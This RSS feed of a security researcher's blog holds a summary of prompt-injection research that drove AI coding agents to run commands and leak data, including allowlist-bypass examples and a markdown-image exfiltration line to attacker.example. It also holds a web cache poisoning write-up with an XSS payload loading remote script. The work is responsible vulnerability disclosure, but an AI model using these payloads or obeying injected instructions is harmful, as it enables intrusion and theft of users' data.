<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Maximilian Hildebrand</title><link>https://m10x.de/posts/</link><description>Recent content in Posts on Maximilian Hildebrand</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>&lt;a href="https://creativecommons.org/licenses/by-nc/4.0/" target="_blank" rel="noopener">CC BY-NC 4.0&lt;/a></copyright><lastBuildDate>Tue, 24 Dec 2030 01:01:56 +0100</lastBuildDate><atom:link href="https://m10x.de/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>(External: cyber.wtf) E-Health Issues (1/3) - Severe Vulnerabilities in SimplifyU</title><link>https://m10x.de/posts/2026/04/external-cyber.wtf-e-health-issues-1/3-severe-vulnerabilities-in-simplifyu/</link><pubDate>Fri, 17 Apr 2026 08:00:00 +0100</pubDate><guid>https://m10x.de/posts/2026/04/external-cyber.wtf-e-health-issues-1/3-severe-vulnerabilities-in-simplifyu/</guid><description>Please visit:
https://cyber.wtf/2026/04/17/ehealth-simplifyu-cves/</description><content type="html"><![CDATA[<p>Please visit:</p>
<p><a href="https://cyber.wtf/2026/04/17/ehealth-simplifyu-cves/">https://cyber.wtf/2026/04/17/ehealth-simplifyu-cves/</a></p>
]]></content></item><item><title>Pwning AI Agents (Part 1/4) - Exploiting AI Coding Agents and Read-Only SQL MCP Servers</title><link>https://m10x.de/posts/2026/04/pwning-ai-agents-part-1/4-exploiting-ai-coding-agents-and-read-only-sql-mcp-servers/</link><pubDate>Sun, 05 Apr 2026 04:00:56 +0100</pubDate><guid>https://m10x.de/posts/2026/04/pwning-ai-agents-part-1/4-exploiting-ai-coding-agents-and-read-only-sql-mcp-servers/</guid><description>This is the first of four posts about vulnerabilities found in AI coding agents, MCP servers and MCP hosts. This first post provides a non-technical overview of the three projects and their results, while the subsequent three posts delve deeper into each project, including the technical aspects.
TLDR Found 25 vulnerabilities in 19 AI Coding Agents with way over 100 million downloads in total. 11x RCE due to autonomous execution of dangerous commands or command allowlist bypasses.</description><content type="html"><![CDATA[<p><img alt="Breaking Boundaries Header" src="/media/2026/04/breakingboundaries-header.jpg"></p>
<p>This is the first of four posts about vulnerabilities found in AI coding agents, MCP servers and MCP hosts. This first post provides a non-technical overview of the three projects and their results, while the subsequent three posts delve deeper into each project, including the technical aspects.</p>
<h2 id="tldr">TLDR</h2>
<ul>
<li>Found 25 vulnerabilities in 19 AI Coding Agents with way over 100 million downloads in total. 11x RCE due to autonomous execution of dangerous commands or command allowlist bypasses. 14x data exfiltration via markdown images.</li>
<li>5 AI Coding Agents with way over 100 million downloads in total handled MCP servers insecurely leading to RCE and tool poisoning. Furthermore, the REDACTED (will be disclosed soon) was found to be vulnerable to XSS, which could be escalated to RCE. To test the security of such MCP hosts <a href="https://github.com/m10x/malim">MaliM</a>, an advanced malicious MCP server with several attack techniques, was developed.</li>
<li>Bypassed the read-only restriction in 17 &ldquo;read-only&rdquo; SQL MCP servers, leading to arbitrary data modification and deletion as well as arbitrary file writes. Among these was the official MariaDB MCP server.</li>
<li>Approximetely 30 minutes of my spare time were spend for each AI Agent and MCP server. This highlights the disastrous state of security and suggests that there are most likely many more vulnerabilities yet to be found.</li>
</ul>
<h2 id="how-did-it-all-begin">How did it all begin?</h2>
<p>I have been following developments in AI and related vulnerabilities for quite some time. As part of my work as a penetration tester at <a href="https://www.gdata.de/business/security-services/penetrationstests">G DATA Advanced Analytics</a>, I have been working intensively on the topic of &ldquo;AI application penetration testing&rdquo; since early 2025, with the aim of developing it as a service. Furthermore, I had often considered searching for new vulnerabilities in AI agents or MCP servers.</p>
<p>In mid-August 2025, I was indirectly inspired by AI security researcher Johann Rehberger (aka &ldquo;wunderwuzzi&rdquo;) to become active myself. As an avid reader of his blog, I followed his blog series, <a href="https://embracethered.com/blog/tags/month-of-ai-bugs/">The Month of AI Bugs 2025</a>. This led to the inspiration for my first project: to identify remote code execution (RCE) and data exfiltration in AI coding agents that had not yet been discovered by any other researcher.</p>
<p>In October 2025, when this project was completed, I was inspired by the explosion of MCP servers to also find vulnerabilities in them. However, I didn&rsquo;t want to test MCP servers at random. Instead, I decided to check all &ldquo;read-only&rdquo; SQL MCP servers to see if it was possible to circumvent the read-only restriction and manipulate or delete arbitrary data. At the beginning of March 2026, I doubled the number of servers I checked, thus testing all those I could find at that time.</p>
<p>In mid-November 2025, I was inspired by one of my favorite podcasts &ldquo;Critical Thinking - Bug Bounty Podcast&rdquo;, for the last of the three projects. In <a href="https://www.criticalthinkingpodcast.io/episode-148-mcp-hacking-guide/">Episode 148 &ldquo;MCP Hacking Guide&rdquo;</a>, host and successful bug bounty hunter Justin Gardner aka &ldquo;Rhynorater&rdquo; discussed the MCP specification and shared his thoughts on potential vulnerabilities. I was surprised to learn that there is still no comprehensive tool or MCP server that can check MCP hosts for vulnerabilities. I thoroughly reviewed the specification and created an exploit for each potential vulnerability of MCP hosts. I then bundled these exploits in the malicious MCP server, <a href="https://github.com/m10x/malim">MaliM</a> (&quot;<strong>Mali</strong>cious <strong>M</strong>CP Server&quot;). Since then, I have regularly tracked changes and innovations in the MCP protocol, considering whether they could pose a security risk and be exploited by MaliM.</p>
<h2 id="project-1-rce-and-data-exfiltration-in-ai-coding-agents">Project 1: RCE and Data Exfiltration in AI Coding Agents</h2>
<p>Indirect prompt injections are unavoidable. Therefore, I aimed to verify whether indirect prompt injections could cause AI coding agents to exfiltrate data or execute commands (RCE).</p>
<h3 id="targets">Targets</h3>
<p>My targets were AI coding agents that:</p>
<ul>
<li>Have more than one million downloads/users</li>
<li>Have not yet been tested by security researcher Johann Rehberger, aka &ldquo;wunderwuzzi&rdquo; :)</li>
</ul>
<p>The following 18 AI coding agents were therefore examined:</p>
<ul>
<li>REDACTED</li>
<li>Alibaba&rsquo;s Lingma</li>
<li>REDACTED</li>
<li>Windsurf IDE</li>
<li>Windsurf Plugin for VSCode/Intellij</li>
<li>Intellij&rsquo;s Junie</li>
<li>REDACTED</li>
<li>Cline</li>
<li>Codegeex</li>
<li>Sourcery</li>
<li>Amazon&rsquo;s Kiro</li>
<li>Amazon&rsquo;s Q Developer</li>
<li>Qodo</li>
<li>Kilo</li>
<li>RooCode</li>
<li>Mistral-Vibe</li>
<li>Qoder IDE</li>
<li>Qoder Plugin for Intellij</li>
</ul>
<p>Three were REDACTED due to private bug bounty programs and/or legal reasons. Mistral and Qoder were tested as well, even though they did not meet the criteria of having at least one million downloads or users, because they ranked high in search queries.
There are no official download figures for Kiro and Windsurf. Nevertheless, it can be assumed that they are among the most widely used AI coding agents.</p>
<h3 id="methods">Methods</h3>
<p>There are many ways to perform data exfiltration and RCE. Here, I have limited myself to the following techniques:</p>
<ul>
<li>Command Execution via dangerous commands in allowlist (e.g. find is allowed and arbitrary commands can be run with the <code>-exec ARBITRARY_COMMAND</code> flag)</li>
<li>Command Execution via allowlist bypass (e.g. whoami is allowed and arbitrary commands can be run with <code>whoami $(ARBITRARY_COMMAND)</code>).</li>
<li>Command Execution via malicious MCP config file (a project with a malicious MCP config file is opened, containing instructions to run a STDIO MCP Server via <code>ARBITRARY_COMMAND</code>)</li>
<li>Data Exfiltration via markdown image (e.g. instructing the Agent to render the image <code>![test](https://attacker.example?m10x)</code> but replacing m10x with sensitive information). For some agents, bypassing the CSP which prevented exfiltration was necessary.</li>
</ul>
<p>The AI coding agents were always used in their default configuration.</p>
<h3 id="results">Results</h3>
<p>19 of the 20 AI coding agents examined had RCE or data exfiltration vulnerabilities. Amazon&rsquo;s Q Developer was the only agent not vulnerable to the attack methods. It later came to light that Johann Rehberger had successfully exploited and reported these vulnerabilities. The vulnerabilities had therefore already been fixed, though this had not yet been publicly announced at the time of my tests.</p>
<table>
<thead>
<tr>
<th>AI Coding Agent</th>
<th>RCE</th>
<th>Data Exfiltration</th>
<th>Fixed</th>
</tr>
</thead>
<tbody>
<tr>
<td>REDACTED</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Alibaba&rsquo;s Lingma</td>
<td>x</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windsurf IDE</td>
<td></td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Windsurf Plugin for VSCode/Intellij</td>
<td></td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Intellij&rsquo;s Junie</td>
<td></td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td></td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Cline</td>
<td></td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Codegeex</td>
<td></td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Sourcery</td>
<td></td>
<td>x</td>
<td>1.42.0</td>
</tr>
<tr>
<td>Amazon&rsquo;s Kiro</td>
<td></td>
<td>x</td>
<td>0.8.0</td>
</tr>
<tr>
<td>Amazon&rsquo;s Q Developer</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Qodo</td>
<td>x</td>
<td></td>
<td>Fixed according to vendor</td>
</tr>
<tr>
<td>Kilo</td>
<td>2x</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>RooCode</td>
<td></td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Mistral-Vibe</td>
<td>x</td>
<td></td>
<td>2.5.0</td>
</tr>
<tr>
<td>Qoder IDE</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Qoder Plugin for Intellij</td>
<td>x</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td>2x</td>
<td></td>
</tr>
</tbody>
</table>
<p>The AI coding agents with known vulnerabilities have been downloaded way over 100 million times. However, two of the most popular agents, Windsurf and Kiro, do not disclose their download figures and were therefore not included in the calculation.</p>
<h2 id="project-2-bypassing-the-read-only-restrction-in-sql-mcp-servers">Project 2: Bypassing the Read-Only Restrction in SQL MCP Servers</h2>
<p>There are countless MCP servers for everything under the sun. To limit the pool of servers to be examined, I decided to test &ldquo;read-only&rdquo; SQL MCP servers and circumvent the read-only restriction.</p>
<h3 id="targets-1">Targets</h3>
<p>My targets were SQL MCP servers that:</p>
<ul>
<li>Have technical measures in place to enforce read-only operations</li>
<li>Do <em>not</em> explicitly recommend restricting the permissions of the SQL user.</li>
<li>Can connect to SQLite, MySQL, MariaDB, PostgreSQL, or MSSQL servers.</li>
</ul>
<p>The following 19 read-only SQL MCP were therefore examined:</p>
<ul>
<li><a href="https://github.com/abhinavnatarajan/sqlite-reader-mcp">sqlite-reader-mcp</a></li>
<li><a href="https://github.com/hannesrudolph/sqlite-explorer-fastmcp-mcp-server">sqlite-explorer-fastmcp-mcp-server</a></li>
<li><a href="https://github.com/alexcc4/mcp-mysql-server">mcp-mysql-server</a></li>
<li><a href="https://github.com/abel9851/mcp-server-mariadb">mcp-server-mariadb</a></li>
<li><a href="https://github.com/bintariq/simple-mysql-mcp-server">simple-mysql-mcp-server</a></li>
<li><a href="https://github.com/benborla/mcp-server-mysql">mcp-server-mysql</a></li>
<li><a href="https://github.com/zerogon1203/db-mcp-server">db-mcp-server</a> (inspected both the mysql and postgresql mode)</li>
<li><a href="https://github.com/MariaDB/mcp">MariaDB/mcp</a> (MariaDB&rsquo;s official MCP server)</li>
<li>9x REDACTED</li>
<li><a href="https://github.com/crystaldba/postgres-mcp">postgres-mcp</a></li>
</ul>
<p>Due to responsible disclosure, nine of the tested MCP servers will be disclosed in early June.</p>
<h3 id="methods-1">Methods</h3>
<p>I investigated whether the &ldquo;read-only&rdquo; restriction was implemented insecurely. This included the following:</p>
<ul>
<li>Does the command allowlist permit state-changing commands?</li>
<li>Is the command denylist insufficient?</li>
<li>Can the deny/allow list checks be bypassed?</li>
<li>Are there other vulnerabilities that become apparent during testing?
Many great SQL quirks and inconspicuous commands were exploited. Even classic SQL injections based on the simple concatenation of user input in queries were identified. :)</li>
</ul>
<h3 id="results-1">Results</h3>
<p>Vulnerabilities were found in 18 of the 19 examined MCP servers. In 14 cases, the read-only restriction could be bypassed. As an outcome of this, RCE is possible in the case of Postgres, and database user passwords can be changed in the case of MySQL. In another 14 cases, it was possible to read or write files on the server.</p>
<table>
<thead>
<tr>
<th>MCP Server</th>
<th>Read-Only Bypass</th>
<th>Other Vuln</th>
<th>Fixed</th>
<th>CVE</th>
</tr>
</thead>
<tbody>
<tr>
<td>sqlite-reader-mcp</td>
<td></td>
<td>File Enum</td>
<td></td>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-71169">CVE-2025-71169</a></td>
</tr>
<tr>
<td>sqlite-explorer-fastmcp-mcp-server</td>
<td>x</td>
<td></td>
<td></td>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-71170">CVE-2025-71170</a></td>
</tr>
<tr>
<td>mcp-mysql-server</td>
<td>x</td>
<td>File Write/Read</td>
<td></td>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-71171">CVE-2025-71171</a>,<a href="https://www.cve.org/CVERecord?id=CVE-2025-69853">CVE-2025-69853</a></td>
</tr>
<tr>
<td>mcp-server-mysql</td>
<td>x</td>
<td>File Write/Read</td>
<td></td>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-71174">CVE-2025-71174</a>,<a href="https://www.cve.org/CVERecord?id=CVE-2025-69859">CVE-2025-69859</a></td>
</tr>
<tr>
<td>simple-mysql-mcp-server</td>
<td>x</td>
<td>File Write/Read</td>
<td></td>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-71173">CVE-2025-71173</a>,<a href="https://www.cve.org/CVERecord?id=CVE-2025-69854">CVE-2025-69854</a></td>
</tr>
<tr>
<td>db-mcp-server (mysql)</td>
<td></td>
<td>File Write/Read</td>
<td>Oct 1, 2025 Release</td>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-71175">CVE-2025-71175</a>,<a href="https://www.cve.org/CVERecord?id=CVE-2025-69862">CVE-2025-69862</a></td>
</tr>
<tr>
<td>mcp-server-mariadb</td>
<td></td>
<td>File Write/Read</td>
<td></td>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-71172">CVE-2025-71172</a>,<a href="https://www.cve.org/CVERecord?id=CVE-2025-69855">CVE-2025-69855</a></td>
</tr>
<tr>
<td>MariaDB/mcp</td>
<td>x</td>
<td>File Write/Read</td>
<td>0.2.4</td>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-69860">CVE-2025-69860</a></td>
</tr>
<tr>
<td>db-mcp-server (postgresql)</td>
<td>2x</td>
<td>File Write/Read</td>
<td>Oct 1, 2025 Release</td>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2025-71175">CVE-2025-71175</a>,<a href="https://www.cve.org/CVERecord?id=CVE-2025-69862">CVE-2025-69862</a></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td>File Write/Read</td>
<td></td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td>File Write/Read, Port Scanning</td>
<td></td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td>File Write/Read, Port Scanning</td>
<td></td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td></td>
<td>File Write/Read</td>
<td></td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td>File Write/Read, Port Scanning</td>
<td></td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td>File Write/Read, Port Scanning</td>
<td></td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td>File Write/Read</td>
<td></td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>postgres-mcp</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<h2 id="project-3-developing-a-malicious-mcp-server-to-exploit-insecure-mcp-hosts">Project 3: Developing a Malicious MCP Server to Exploit insecure MCP Hosts</h2>
<h3 id="targets-2">Targets</h3>
<p>Not all AI coding agents support MCP servers. Furthermore, the MCP server configuration and use were not fully developed for a few of the AI coding agents. MaliM&rsquo;s development also took a long time, which is why I only tested six MCP hosts.</p>
<p>The following 5 AI coding agents were therefore examined:</p>
<ul>
<li>JetBrains&rsquo; AI Assistant</li>
<li>Windsurf IDE</li>
<li>ZED</li>
<li>REDACTED</li>
<li>REDACTED</li>
<li>Cursor</li>
</ul>
<p>Furthermore, REDACTED (will be disclosed soon), was tested as well. Due to responsible disclosure, one of the tested AI coding agents will not be announced for several weeks or months.</p>
<h3 id="malim">MaliM</h3>
<p><a href="https://github.com/m10x/malim">MaliM</a> is a <strong>Mali</strong>cious <strong>M</strong>CP server that I developed for this project. Apart from a few minor proof-of-concepts (PoCs), I was surprised that there is still no MCP server available to fully test MCP hosts for vulnerabilities, such as insecure handling of MCP servers.
I took a close look at the MCP specification and FastMCP documentation, considering potential attacks.
I placed XSS, template injection, and prompt injection payloads in various locations, including the server name, description, icons, tool names, descriptions, icons, log and error messages, annotations, metadata, and tags.
Furthermore, &ldquo;advanced&rdquo; MCP features, such as elicitation and sampling, are used to check how the MCP host reacts to them and whether they can be exploited.</p>
<h3 id="methods-2">Methods</h3>
<p>The MCP hosts were connected to MaliM, and the following checks were performed, among others:</p>
<ul>
<li>Are MCP tools only executed after user confirmation?</li>
<li>Can the user see the parameters with which the tool is executed?</li>
<li>Can the user see which server the tool belongs to?</li>
<li>Is data from the MCP server displayed insecurely (XSS or template injection)?</li>
<li>Can the user view data from the MCP server included in the AI agent&rsquo;s prompt?</li>
</ul>
<h3 id="results-2">Results</h3>
<p>With the exception of Cursor, all of the AI coding agents examined were found to handle MCP servers in an insecure manner. The consequences varied and included the following:</p>
<ul>
<li>Data from the MCP server is embedded in the prompt for the AI agent, though it is not displayed to the user (indirect prompt injection)</li>
<li>Users do not have to confirm execution of MCP tools (data exfiltration)</li>
<li>MCP tool calls are not displayed if the tool returns an error (covert tool invocations)</li>
<li>Users are shown insufficient information for confirmation (e.g., parameters or MCP server name are missing)</li>
</ul>
<table>
<thead>
<tr>
<th>AI Coding Agent</th>
<th>Insecure MCP Server Handling</th>
<th>Fixed</th>
<th>CVE</th>
</tr>
</thead>
<tbody>
<tr>
<td>JetBrains&rsquo; AI Assistant</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windsurf IDE</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ZED</td>
<td>x</td>
<td>0.219.4</td>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-25805">CVE-2026-25805</a></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>REDACTED</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cursor</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<h2 id="conclusion">Conclusion</h2>
<p>The three projects revealed that the security of AI coding agents and MCP servers is still far from adequate. The fact that serious vulnerabilities were found in almost all of the examined AI agents and MCP servers within 5-30 minutes speaks for itself. In total, 58 vulnerabilities were identified in 37 products. These vulnerabilities include RCEs, data exfiltration, read-only bypasses, arbitrary file writes/reads, port scanning, XSS, tool poisoning, and tool spoofing.
In total, the vulnerabilities affect well over 220 million downloads of AI coding agents, especially considering that Windsurf and Kiro do not disclose download figures.</p>
<p>Unfortunately, many AI companies are not particularly interested in the security of their products when it comes to responsible disclosure. Many do not even provide adequate channels through which to report security issues.
However, there were a few rays of hope. I would like to highlight ZED, Sourcery, Kiro and MariaDB in particular because they responded quickly and professionally.</p>
<p>Sadly, only a few of the vulnerabilities have been fixed, even though the manufacturers have had well over three months—in most cases, more than six months—to do so. Technical details on the individual projects will be available in the coming months. :)</p>
]]></content></item><item><title>(External: cyber.wtf) I Know What You Shipped Last Summer - RCE, SQLi and More in Logistics Software e-TMS</title><link>https://m10x.de/posts/2025/09/external-cyber.wtf-i-know-what-you-shipped-last-summer-rce-sqli-and-more-in-logistics-software-e-tms/</link><pubDate>Fri, 19 Sep 2025 08:00:00 +0100</pubDate><guid>https://m10x.de/posts/2025/09/external-cyber.wtf-i-know-what-you-shipped-last-summer-rce-sqli-and-more-in-logistics-software-e-tms/</guid><description>Please visit:
https://cyber.wtf/2025/09/19/etms-by-andsoft-cves/</description><content type="html"><![CDATA[<p>Please visit:</p>
<p><a href="https://cyber.wtf/2025/09/19/etms-by-andsoft-cves/">https://cyber.wtf/2025/09/19/etms-by-andsoft-cves/</a></p>
]]></content></item><item><title>403 Help is Forbidden - Web Cache Poisoning in the Wild</title><link>https://m10x.de/posts/2025/08/403-help-is-forbidden-web-cache-poisoning-in-the-wild/</link><pubDate>Mon, 11 Aug 2025 04:00:56 +0100</pubDate><guid>https://m10x.de/posts/2025/08/403-help-is-forbidden-web-cache-poisoning-in-the-wild/</guid><description>TLDR Wrote a Web Cache Poisoning scanner tailored for mass scanning that features all the web cache poisoning techniques I know of. Ran it against bug bounties. Found high hundreds of Cache Poisoned Denial of Services (affecting e.g. popular SaaS products, financial and health websites, as well as European governmental websites) as well as two Cached Reflected XSS (= Stored XSS). Cached Poisoned Denial of Service didn&amp;rsquo;t generate much interest, but XSS earned me good money.</description><content type="html"><![CDATA[<h2 id="tldr">TLDR</h2>
<p>Wrote a <a href="https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner">Web Cache Poisoning scanner</a> tailored for mass scanning that features all the web cache poisoning techniques I know of. Ran it against bug bounties. Found <strong>high hundreds</strong> of Cache Poisoned Denial of Services (affecting e.g. popular SaaS products, financial and health websites, as well as European governmental websites) as well as two Cached Reflected XSS (= Stored XSS). Cached Poisoned Denial of Service didn&rsquo;t generate much interest, but XSS earned me good money.</p>
<h2 id="prolog">Prolog</h2>
<p>In 2021, I chose web cache poisoning as the topic for <a href="https://hackmanit.de/images/download/thesis/Automated-Scanning-for-Web-Cache-Poisoning-Vulnerabilities.pdf">my bachelor&rsquo;s thesis</a>. I chose it because of the excellent papers <a href="https://portswigger.net/research/practical-web-cache-poisoning">Practical Web Cache Poisoning</a> (2018, James Kettle), <a href="https://cpdos.org/">Your Cache Has Fallen: Cache-Poisoned Denial-of-Service Attack</a> (2019, Hoai Viet Nguyen, Luigi Lo Iacono, and Hannes Federrath)​, and <a href="https://portswigger.net/research/web-cache-entanglement">Web Cache Entanglement: Novel Pathways to Poisoning</a> (2020, James Kettle)​. I gathered all the known web cache poisoning techniques, sorted them into categories, and bundeled them into a scanner: the <a href="https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner">Web Cache Vulnerability Scanner (WCVS)</a>. Additionally, I scanned 51 of the top 1000 websites for web cache poisoning. However, the results weren&rsquo;t that great. There were too many false positives, and only 11 instances of non-malicious cached content injections.</p>
<p>Nevertheless, throughout the years, I maintained the scanner, fixing bugs and adding and improving techniques. The positive feedback was motivating, and a few bug bounty hunters thanked me for helping them earn good money using the scanner. Every once in a while, I thought about running the scanner against some bug bounties again. This finally led me to my next spare-time project: Improving the scanner and running it against bug bounties!</p>
<h2 id="automation-is-key">Automation is Key</h2>
<p>Because of my time constraints, I needed to make the process as efficient as possible. Thus, I created scripts for the following:</p>
<ol>
<li>Download a huge list of bug bounty subdomains from <a href="https://chaos.projectdiscovery.io/">Chaos by Project Discovery</a>. In fact, there were over 10 million subdomains!</li>
<li>Run <a href="https://github.com/projectdiscovery/httpx">httpx</a> (20 instances in parallel) to deduplicate the subdomains and remove the inactive ones, decreasing the number of targets to 56.000.</li>
<li>Run <a href="https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner">WCVS</a> (35 instances in parallel) over them.
With all of that automated, I only had to manually review the JSON reports generated by WCVS.</li>
</ol>
<h2 id="results">Results</h2>
<p>WCVS identified:</p>
<ul>
<li>over 600 independent instances of DoS (independent = counting cloud products, such as SaaS and PaaS, only once)</li>
<li>over 200 independent instances of reflected and cached content injections</li>
<li>two of these were reflected XSS, which gets escalated to stored XSS due to caching</li>
</ul>
<p>The vulnerable web apps where:</p>
<ul>
<li>Helpcenter SaaS solutions (if you search for a company&rsquo;s helpcenter, chances are high they are using one of these :) )</li>
<li>CRM SaaS solutions, App PaaS solutions, Cloud Storages</li>
<li>European Governments</li>
<li>(Food) Delivery Services, Car-Sharing Services</li>
<li>Financial and Health (e.g. doctor appointment scheduling) web applications</li>
<li>and many more&hellip;</li>
</ul>
<p>Now, let&rsquo;s move on to the fun stuff: some PoCs :)</p>
<h3 id="xss-via-parameter-pollution">XSS via Parameter Pollution</h3>
<p><img alt="WCP1" src="/media/2025/08/wcp1.png"></p>
<p>Here we have a blog which reflects the query string. The query string gets JSON encoded but is embedded into a HTML attribute context, which enables XSS. Using the payload <code>&quot;&gt;&lt;script/src=https://kirlia.de/xss.js&gt;&lt;/script&gt;</code> we can load and execute arbitrary javascript files.</p>
<p>All parameters are included in the cache key, but only their first occurence. However, the web app takes the last occurrence. This discrepancy can be exploited. EFor example, you can choose a common parameter, such as <code>utm_source=google.com</code>, and then add <code>utm_source=PAYLOAD</code>.</p>
<p><img alt="WCP2" src="/media/2025/08/wcp2.png">
If you then request the page a second time with only the first benign value, you will receive a cached response.</p>
<p><img alt="WCP3" src="/media/2025/08/wcp3.png">
However, this cached response has the XSS payload embedded :)</p>
<h3 id="xss-due-to-open-redirect-via-x-forwarded-host">XSS due to Open Redirect via X-Forwarded-Host</h3>
<p><img alt="WCP4" src="/media/2025/08/wcp4.png"></p>
<p>Here, the webapp tries to load a JavaScript file, resulting in a 302 redirect. However, the target host of the redirect can be modified via the X-Forwarded-Host header. Further, this header is not included in the cache key! Thus we can use <code>X-Forwarded-Host: www.kirlia.de</code> to let the webapp load our JavaScript file at <code>https://www.kirlia.de/agent-app/login</code>.</p>
<h3 id="dos-via-x-forwarded-scheme">DOS via X-Forwarded-Scheme</h3>
<p><img alt="WCP5" src="/media/2025/08/wcp5.png"></p>
<p>The X-Forwarded-Scheme header overrides the Scheme to <code>http</code> leading the webapp to redirect to <code>https</code>.</p>
<p><img alt="WCP6" src="/media/2025/08/wcp6.png"></p>
<p>This redirect gets cached, leading to an infinite redirect loop, because <code>https://example.com/</code> redirects to <code>https://example.com/</code>. This is a fairly common problem with Cloudflare.</p>
<h3 id="dos-via-range">DOS via Range</h3>
<p><img alt="WCP7" src="/media/2025/08/wcp7.png"></p>
<p>The Range header contains an invalid bytes count, leading to a 416 error that gets cached.</p>
<h3 id="dos-via-xss-payload">DOS via XSS Payload</h3>
<p><img alt="WCP8" src="/media/2025/08/wcp8.png"></p>
<p>A header contains a XSS Payload leading to a 403 Forbidden, which gets cached.</p>
<h3 id="dos-via-x-amz-website-redirect-location-aws-specific">DOS via X-Amz-Website-Redirect-Location (AWS specific)</h3>
<p><img alt="WCP9" src="/media/2025/08/wcp9.png"></p>
<p>The <code>X-Amz-Website-Redirect-Location</code> is AWS specific. An invalid value may lead to an error message which gets cached.</p>
<h3 id="dos-via-too-large-header-fields-hho">DOS via too large Header Fields (HHO)</h3>
<p><img alt="WCP10" src="/media/2025/08/wcp10.png"></p>
<p>If the cache can support a larger header field than the web server, it may forward requests with large header fields to the web server. The web server will return an error, which will be cached.</p>
<h3 id="dos-via-x-rewrite-url-craft-cms-specific">DOS via X-Rewrite-URL (Craft CMS specific)</h3>
<p><img alt="WCP11" src="/media/2025/08/wcp11.png"></p>
<p><code>X-Rewrite-Url</code> can be used for Craft CMS to request another path than the one specified in the first line of the request. Specifying a non-existent path leads to a 404, while the specification of a path suffering from open redirect may even lead to a cached open redirect.</p>
<h3 id="dos-via-x-middleware-prefetch-nextjs-specific">DOS via X-Middleware-Prefetch (Next.js specific)</h3>
<p><img alt="WCP12" src="/media/2025/08/wcp12.png"></p>
<p><code>X-Middleware-Prefetch: 1</code> is a Next.js specific quirk which leads to a response containing only <code>{}</code> in its body. Thus we have a DoS with a 200 status code, which tend to get cached way longer than error status codes.</p>
<h3 id="dos-via-rsc-nextjs-specific-again">DOS via RSC (Next.js specific, again)</h3>
<p><img alt="WCP13" src="/media/2025/08/wcp13.png"></p>
<p><code>Rsc: 1</code> is another Next.js specific quirk which leads to the webserver not returning a HTML response, but a react fragment. Once again DoS with a 200 status code.</p>
<h3 id="further-dos-techniques">Further DoS Techniques</h3>
<p>There were many other successful DoS techniques, such as metachars in header names, malformed headers, and invalid header values. However, I think those were enough PoCs!</p>
<h2 id="conclusion">Conclusion</h2>
<p>My spare-time project revealed that web cache poisoning is still a significant issue.</p>
<ol>
<li>Caching proxies and/or web servers do not fully comply with RFCs, so they may interpret parts of requests differently.</li>
<li>State-changing parts of the request are not included in the cache key. Those configuring the cache need deep knowledge of the web frameworks/libraries used, their quirks, and the functionality of the web application. Most of the time, this will not be the case.</li>
<li>Complexity kills. Some websites have more than one cache in front of them. One website even had <em>five</em>. Well, they are probably all configured the same and tailored to the website, right? <em>RIGHT?</em></li>
</ol>
<p>I was not surprised that I did not find many instances of XSS. First, a reflected XSS attack must occur in an unauthenticated part of the web application, which has not yet been identified and addressed. Second, the parameters causing the reflected XSS must be poisonable; otherwise, WCVS does not report them. Third, due to the large number of targets, I ran WCVS with limited capabilities (e.g., wordlists with only ~20 entries instead of thousands by default) to speed up the process significantly. Nevertheless, due to hundreds of reports of non-malicious input reflections after investigation, WCVS demonstrated its ability to detect reflections that could lead to XSS when user input is not properly managed. (WCVS only checks for cached reflections of unkeyed input and does not evaluate whether they can be exploited. Whether or not it can be exploited is up to the creativity and context-awareness of humans or specialized content injection scanners.)</p>
